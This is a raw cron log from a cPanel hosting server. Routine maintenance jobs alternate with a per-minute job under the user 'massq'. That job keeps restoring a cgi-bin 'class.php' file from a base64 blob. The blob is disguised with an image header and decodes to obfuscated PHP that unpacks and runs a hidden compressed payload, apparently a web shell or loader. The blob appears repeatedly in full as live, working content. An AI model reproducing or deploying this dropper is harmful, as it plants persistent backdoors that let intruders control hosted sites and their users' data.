Sep  9 04:37:01 server CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:38:01 server CROND[7094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:38:01 server CROND[7095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:38:01 server CROND[7093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:39:01 server CROND[7648]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 04:39:01 server CROND[7650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:39:01 server CROND[7649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:39:01 server CROND[7651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:40:01 server CROND[8237]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:40:01 server CROND[8238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:40:01 server CROND[8241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:40:01 server CROND[8240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:40:01 server CROND[8244]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:40:01 server CROND[8250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:40:01 server CROND[8252]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:40:01 server CROND[8254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:41:01 server CROND[9147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:41:01 server CROND[9146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:41:01 server CROND[9148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:42:01 server CROND[9681]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 04:42:01 server CROND[9682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:42:01 server CROND[9683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:42:01 server CROND[9684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:43:02 server CROND[10105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:43:02 server CROND[10107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:43:02 server CROND[10106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:44:01 server CROND[10516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:44:01 server CROND[10517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:44:01 server CROND[10518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:45:01 server CROND[10907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:45:01 server CROND[10916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:45:01 server CROND[10919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:45:01 server CROND[10921]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:45:01 server CROND[10917]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:45:01 server CROND[10918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:45:01 server CROND[10924]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:46:01 server CROND[11747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:46:01 server CROND[11748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:46:01 server CROND[11749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:47:01 server CROND[12223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:47:01 server CROND[12225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:47:01 server CROND[12224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:48:01 server CROND[12635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:48:01 server CROND[12636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:48:01 server CROND[12637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:49:01 server CROND[13025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:49:01 server CROND[13026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:49:01 server CROND[13027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:50:01 server CROND[13427]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
